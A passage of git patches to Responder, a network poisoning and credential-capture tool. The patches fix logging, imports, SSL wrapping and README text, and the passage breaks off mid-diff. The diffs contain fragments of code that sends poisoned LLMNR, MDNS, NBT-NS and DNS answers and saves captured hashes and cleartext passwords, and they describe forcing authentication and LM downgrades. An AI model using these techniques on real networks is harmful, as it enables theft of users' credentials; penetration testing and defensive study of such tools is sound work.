[PATCH 017/114] Fixed options formating in README --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 28b2eef..c05e8c6 100755 --- a/README.md +++ b/README.md @@ -128,6 +128,7 @@ Typical Usage Example: ./Responder.py -I eth0 -Pv Options: + --version show program's version number and exit -h, --help show this help message and exit -A, --analyze Analyze mode. This option allows you to see NBT-NS, From ee88da1af84680368b7da654297e3f97397dcd2e Mon Sep 17 00:00:00 2001 From: kitchung Date: Sun, 6 Feb 2022 16:35:01 -0800 Subject: [PATCH 018/114] DE-RPC server status not correct #189 Line 512 should read: print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled)) Instead of: print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled)) --- utils.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/utils.py b/utils.py index d82bdf5..ec38a54 100755 --- a/utils.py +++ b/utils.py @@ -509,7 +509,7 @@ def StartupMessage(): print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)) print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)) print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)) - print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled)) + print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled)) print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled)) print('') From b9f3ae35ee9ddad932a2e00745fd6453e12f93f5 Mon Sep 17 00:00:00 2001 From: Tom Aviv Date: Fri, 11 Feb 2022 23:24:00 +0200 Subject: [PATCH 019/114] MutableMapping was moved to collections.abc --- odict.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/odict.py b/odict.py index de0aa4e..666e3b1 100644 --- a/odict.py +++ b/odict.py @@ -1,9 +1,12 @@ import sys try: - from UserDict import DictMixin + from UserDict import DictMixin except ImportError: - from collections import UserDict - from collections import MutableMapping as DictMixin + from collections import UserDict + try: + from collections import MutableMapping as DictMixin + except ImportError: + from collections.abc import MutableMapping as DictMixin class OrderedDict(dict, DictMixin): From e7eb3bcce85c5d437082214c0e8044919cccee56 Mon Sep 17 00:00:00 2001 From: Gustaf Blomqvist Date: Thu, 28 Apr 2022 15:18:13 +0200 Subject: [PATCH 020/114] Fix double logging of first hash or cleartext --- utils.py | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/utils.py b/utils.py index ec38a54..423df33 100755 --- a/utils.py +++ b/utils.py @@ -337,16 +337,10 @@ def SaveToDb(result): logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname) if not count: - with open(logfile,"a") as outf: - if len(result['cleartext']): # If we obtained cleartext credentials, write them to file - outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) - else: # Otherwise, write JtR-style hash string to file - outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n') - cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash'])) cursor.commit() - if settings.Config.CaptureMultipleHashFromSameHost: + if not count or settings.Config.CaptureMultipleHashFromSameHost: with open(logfile,"a") as outf: if len(result['cleartext']): # If we obtained cleartext credentials, write them to file outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) From 0ced7d52c026a88cde2eeba2e58db1ba18cff04c Mon Sep 17 00:00:00 2001 From: Alexandre ZANNI <16578570+noraj@users.noreply.github.com> Date: Sun, 8 May 2022 20:54:23 +0200 Subject: [PATCH 021/114] odict: fix import issue --- tools/odict.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/odict.py b/tools/odict.py index 107cb01..714cf67 100644 --- a/tools/odict.py +++ b/tools/odict.py @@ -3,7 +3,7 @@ try: from UserDict import DictMixin except ImportError: from collections import UserDict - from collections import MutableMapping as DictMixin + from collections.abc import MutableMapping as DictMixin class OrderedDict(dict, DictMixin): From d1cb26bda7360a48912c3b7253bbc50bbfc4ef15 Mon Sep 17 00:00:00 2001 From: Alexandre ZANNI <16578570+noraj@users.noreply.github.com> Date: Fri, 13 May 2022 18:06:35 +0200 Subject: [PATCH 022/114] keep compatibility with previous versions --- tools/odict.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tools/odict.py b/tools/odict.py index 714cf67..ca11f01 100644 --- a/tools/odict.py +++ b/tools/odict.py @@ -3,7 +3,10 @@ try: from UserDict import DictMixin except ImportError: from collections import UserDict - from collections.abc import MutableMapping as DictMixin + try: + from collections import MutableMapping as DictMixin + except ImportError: + from collections.abc import MutableMapping as DictMixin class OrderedDict(dict, DictMixin): From 0c7a3ffabeee77cb9f3d960168a357e9583b2f9f Mon Sep 17 00:00:00 2001 From: cweedon Date: Tue, 17 May 2022 12:20:28 -0500 Subject: [PATCH 023/114] Fix missing paren error added parentheses to the print call to fix the error --- Report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Report.py b/Report.py index d5cc054..1e8640a 100755 --- a/Report.py +++ b/Report.py @@ -107,7 +107,7 @@ GetResponderUsernames(cursor) print(color("\n[+] Username details:", code = 2, modifier = 1)) GetResponderUsernamesWithDetails(cursor) GetResponderUsernamesStatistic(cursor) -print color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1) +print (color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1)) cursor.close() try: cursor = FingerDbConnect() From 03fa9a7187c80586629c58a297d0d78f2f8da559 Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 17 May 2022 21:38:01 -0300 Subject: [PATCH 024/114] removed -r references --- README.md | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/README.md b/README.md index c05e8c6..7689c42 100755 --- a/README.md +++ b/README.md @@ -20,11 +20,11 @@ Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Succes - Built-in MSSQL Auth server. -In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019. +This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019. - Built-in HTTP Auth server. -In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari. +This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari. Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim. @@ -34,11 +34,11 @@ Same as above. The folder certs/ contains 2 default keys, including a dummy pri - Built-in LDAP Auth server. -In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for LDAP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin. +This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin. - Built-in DCE-RPC Auth server. -In order to redirect DCE-RPC Authentication to this tool, you will need to set the option -r and -d (NBT-NS queries for DCE-RPC server lookup are sent using the Workstation and Domain Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019. +This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019. - Built-in FTP, POP3, IMAP, SMTP Auth servers. @@ -56,10 +56,6 @@ This module will capture all HTTP requests from anyone launching Internet Explor This module allows to find the PDC in stealth mode. -- Fingerprinting - -When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode. - - Icmp Redirect python tools/Icmp-Redirect.py @@ -161,8 +157,7 @@ Options: False -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be - ON. This option is highly effective when combined with - -r. Default: False + ON. Default: False --lm Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False --disable-ess Force ESS downgrade. Default: False @@ -177,9 +172,14 @@ You can contribute to this project by donating to the following $XLM (Stellar Lu "GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH" -Or BTC address: +Paypal: + +https://paypal.me/PythonResponder + +Patreon: + +https://www.patreon.com/PythonResponder -"1HkFmFs5fmbCoJ7ZM5HHbGgjyqemfU9o7Q" ## Acknowledgments ## From 983a1c6576cb7dfe6cabea93e56dc4f2c557621b Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 17 May 2022 21:48:02 -0300 Subject: [PATCH 025/114] removed -r reference from help msg. --- Responder.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Responder.py b/Responder.py index fce3fb8..916687a 100755 --- a/Responder.py +++ b/Responder.py @@ -39,7 +39,7 @@ parser.add_option('-w','--wpad', action="store_true", help="Start the parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None) parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False) -parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False) +parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False) parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) From 9b1c99ccd29890496b0194c061266997e28be4c0 Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 12 Jul 2022 20:15:36 -0300 Subject: [PATCH 026/114] Fixed: Warnings on python 3.10 --- Responder.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/Responder.py b/Responder.py index 916687a..34caa30 100755 --- a/Responder.py +++ b/Responder.py @@ -250,18 +250,20 @@ def serve_thread_SSL(host, port, handler): cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) - + context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + context.load_cert_chain(cert, key) if OsInterfaceIsSupported(): server = ThreadingTCPServer(('', port), handler) - server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) + server.socket = context.wrap_socket(server.socket, server_side=True) server.serve_forever() else: server = ThreadingTCPServer(('', port), handler) - server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) + server.socket = context.wrap_socket(server.socket, server_side=True) server.serve_forever() except: print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.") + def main(): try: if (sys.version_info < (3, 0)): @@ -363,7 +365,7 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,))) for thread in threads: - thread.setDaemon(True) + thread.daemon = True thread.start() if settings.Config.AnalyzeMode: From 15d03bc90295912263d4c53c0c390fc57f6f6e1e Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 26 Jul 2022 14:56:18 -0300 Subject: [PATCH 027/114] Minor bugs and display/logging fixes + RDP srv SSLwrapping fix --- poisoners/LLMNR.py | 6 +++--- poisoners/MDNS.py | 6 +++--- poisoners/NBTNS.py | 5 ++--- servers/Browser.py | 4 ++-- servers/DNS.py | 20 ++++++++++---------- servers/HTTP.py | 10 +++++----- servers/HTTP_Proxy.py | 4 ++-- servers/LDAP.py | 2 +- servers/MSSQL.py | 2 +- servers/Proxy_Auth.py | 4 ++-- servers/RDP.py | 10 +++++++--- servers/RPC.py | 6 +++--- servers/SMB.py | 1 - servers/WinRM.py | 4 ++-- settings.py | 2 +- utils.py | 8 ++++++-- 16 files changed, 50 insertions(+), 44 deletions(-) diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index 296302b..0952325 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -64,7 +64,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class if data[2:4] == b'\x00\x00' and LLMNRType: if settings.Config.AnalyzeMode: LineHeader = "[Analyze mode: LLMNR]" - print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)) + print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR', 'SentToIp': self.client_address[0], @@ -77,7 +77,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) LineHeader = "[*] [LLMNR]" - print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)) + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR', 'SentToIp': self.client_address[0], @@ -90,7 +90,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) LineHeader = "[*] [LLMNR]" - print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)) + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR6', 'SentToIp': self.client_address[0], diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index 6973dc0..a2bf073 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -61,7 +61,7 @@ class MDNS(BaseRequestHandler): return None if settings.Config.AnalyzeMode: # Analyze Mode - print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))) + print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3)))) SavePoisonersToDb({ 'Poisoner': 'MDNS', 'SentToIp': self.client_address[0], @@ -73,7 +73,7 @@ class MDNS(BaseRequestHandler): Buffer = MDNS_Ans(AnswerName = Poisoned_Name) Buffer.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)) + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'MDNS', 'SentToIp': self.client_address[0], @@ -86,7 +86,7 @@ class MDNS(BaseRequestHandler): Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) Buffer.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)) + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'MDNS6', 'SentToIp': self.client_address[0], diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index 088f667..0d94126 100755 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -36,8 +36,7 @@ class NBTNS(BaseRequestHandler): if data[2:4] == b'\x01\x10': if settings.Config.AnalyzeMode: # Analyze Mode - LineHeader = "[Analyze mode: NBT-NS]" - print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)) + print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3)))) SavePoisonersToDb({ 'Poisoner': 'NBT-NS', 'SentToIp': self.client_address[0], @@ -49,7 +48,7 @@ class NBTNS(BaseRequestHandler): Buffer1.calculate(data) socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) LineHeader = "[*] [NBT-NS]" - print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) + print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'NBT-NS', 'SentToIp': self.client_address[0], diff --git a/servers/Browser.py b/servers/Browser.py index abda10c..5dfaccf 100644 --- a/servers/Browser.py +++ b/servers/Browser.py @@ -165,7 +165,7 @@ def BecomeBackup(data,Client): Role = NBT_NS_Role(data[45:48]) if settings.Config.AnalyzeMode: - print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))) + print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client.replace("::ffff:",""), Name,Role,Domain))) RAPInfo = RAPThisDomain(Client, Domain) if RAPInfo is not None: print(RAPInfo) @@ -182,7 +182,7 @@ def ParseDatagramNBTNames(data,Client): if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode: - print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2))) + print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client.replace("::ffff:",""), Name, Role1, Domain, Role2))) RAPInfo = RAPThisDomain(Client, Domain) if RAPInfo is not None: print(RAPInfo) diff --git a/servers/DNS.py b/servers/DNS.py index 9c546e7..9bbabbe 100755 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -49,35 +49,35 @@ class DNS(BaseRequestHandler): buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4": buff = DNS_AnsOPT() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": buff = DNS_SRV_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": buff = DNS6_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": buff = DNS6_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) except Exception: @@ -97,35 +97,35 @@ class DNSTCP(BaseRequestHandler): buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4": buff = DNS_AnsOPT() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": buff = DNS_SRV_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": buff = DNS6_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": buff = DNS6_AnsOPT() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) except Exception: pass diff --git a/servers/HTTP.py b/servers/HTTP.py index 0ce6b73..6afafce 100755 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -205,7 +205,7 @@ def PacketSequence(data, client, Challenge): ParseHTTPHash(NTLM_Auth, Challenge, client, module) if settings.Config.Force_WPAD_Auth and WPAD_Custom: - print(text("[HTTP] WPAD (auth) file sent to %s" % client)) + print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:",""))) return WPAD_Custom else: @@ -230,7 +230,7 @@ def PacketSequence(data, client, Challenge): if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Verbose: - print(text("[HTTP] WPAD (auth) file sent to %s" % client)) + print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:",""))) return WPAD_Custom else: @@ -241,12 +241,12 @@ def PacketSequence(data, client, Challenge): if settings.Config.Basic: Response = IIS_Basic_401_Ans() if settings.Config.Verbose: - print(text("[HTTP] Sending BASIC authentication request to %s" % client)) + print(text("[HTTP] Sending BASIC authentication request to %s" % client.replace("::ffff:",""))) else: Response = IIS_Auth_401_Ans() if settings.Config.Verbose: - print(text("[HTTP] Sending NTLM authentication request to %s" % client)) + print(text("[HTTP] Sending NTLM authentication request to %s" % client.replace("::ffff:",""))) return Response @@ -290,7 +290,7 @@ class HTTP(BaseRequestHandler): self.request.send(NetworkSendBufferPython2or3(Buffer)) self.request.close() if settings.Config.Verbose: - print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])) + print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0].replace("::ffff:",""))) else: Buffer = PacketSequence(data,self.client_address[0], Challenge) diff --git a/servers/HTTP_Proxy.py b/servers/HTTP_Proxy.py index fcade5e..4463b0f 100755 --- a/servers/HTTP_Proxy.py +++ b/servers/HTTP_Proxy.py @@ -209,7 +209,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): def handle(self): (ip, port) = self.client_address[0], self.client_address[1] if settings.Config.Verbose: - print(text("[PROXY] Received connection from %s" % self.client_address[0])) + print(text("[PROXY] Received connection from %s" % self.client_address[0].replace("::ffff:",""))) self.__base_handle() def _connect_to(self, netloc, soc): @@ -286,7 +286,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): Cookie = self.headers['Cookie'] if "Cookie" in self.headers else '' if settings.Config.Verbose: - print(text("[PROXY] Client : %s" % color(self.client_address[0], 3))) + print(text("[PROXY] Client : %s" % color(self.client_address[0].replace("::ffff:",""), 3))) print(text("[PROXY] Requested URL : %s" % color(self.path, 3))) print(text("[PROXY] Cookie : %s" % Cookie)) diff --git a/servers/LDAP.py b/servers/LDAP.py index d6bea7a..2b9fe65 100644 --- a/servers/LDAP.py +++ b/servers/LDAP.py @@ -173,7 +173,7 @@ def ParseCLDAPPacket(data, client, Challenge): elif Operation == b'\x63': Buffer = ParseSearch(data) - print(text('[CLDAP] Sent CLDAP pong to %s.'% client)) + print(text('[CLDAP] Sent CLDAP pong to %s.'% client.replace("::ffff:",""))) return Buffer elif settings.Config.Verbose: diff --git a/servers/MSSQL.py b/servers/MSSQL.py index 3a44012..ed2b440 100755 --- a/servers/MSSQL.py +++ b/servers/MSSQL.py @@ -134,7 +134,7 @@ class MSSQL(BaseRequestHandler): if not data: break if settings.Config.Verbose: - print(text("[MSSQL] Received connection from %s" % self.client_address[0])) + print(text("[MSSQL] Received connection from %s" % self.client_address[0].replace("::ffff:",""))) if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message Buffer = str(MSSQLPreLoginAnswer()) self.request.send(NetworkSendBufferPython2or3(Buffer)) diff --git a/servers/Proxy_Auth.py b/servers/Proxy_Auth.py index 46f6b97..23db3f8 100644 --- a/servers/Proxy_Auth.py +++ b/servers/Proxy_Auth.py @@ -57,7 +57,7 @@ def PacketSequence(data, client, Challenge): Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] if Packet_NTLM == b'\x01': if settings.Config.Verbose: - print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)) + print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client.replace("::ffff:",""))) Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) Buffer.calculate() Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1')) @@ -93,7 +93,7 @@ def PacketSequence(data, client, Challenge): if settings.Config.Basic: Response = WPAD_Basic_407_Ans() if settings.Config.Verbose: - print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client)) + print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client.replace("::ffff:",""))) else: Response = WPAD_Auth_407_Ans() diff --git a/servers/RDP.py b/servers/RDP.py index f2e5bd1..3047a4d 100755 --- a/servers/RDP.py +++ b/servers/RDP.py @@ -98,6 +98,11 @@ class RDP(BaseRequestHandler): self.request.settimeout(30) Challenge = RandomChallenge() + cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) + key = 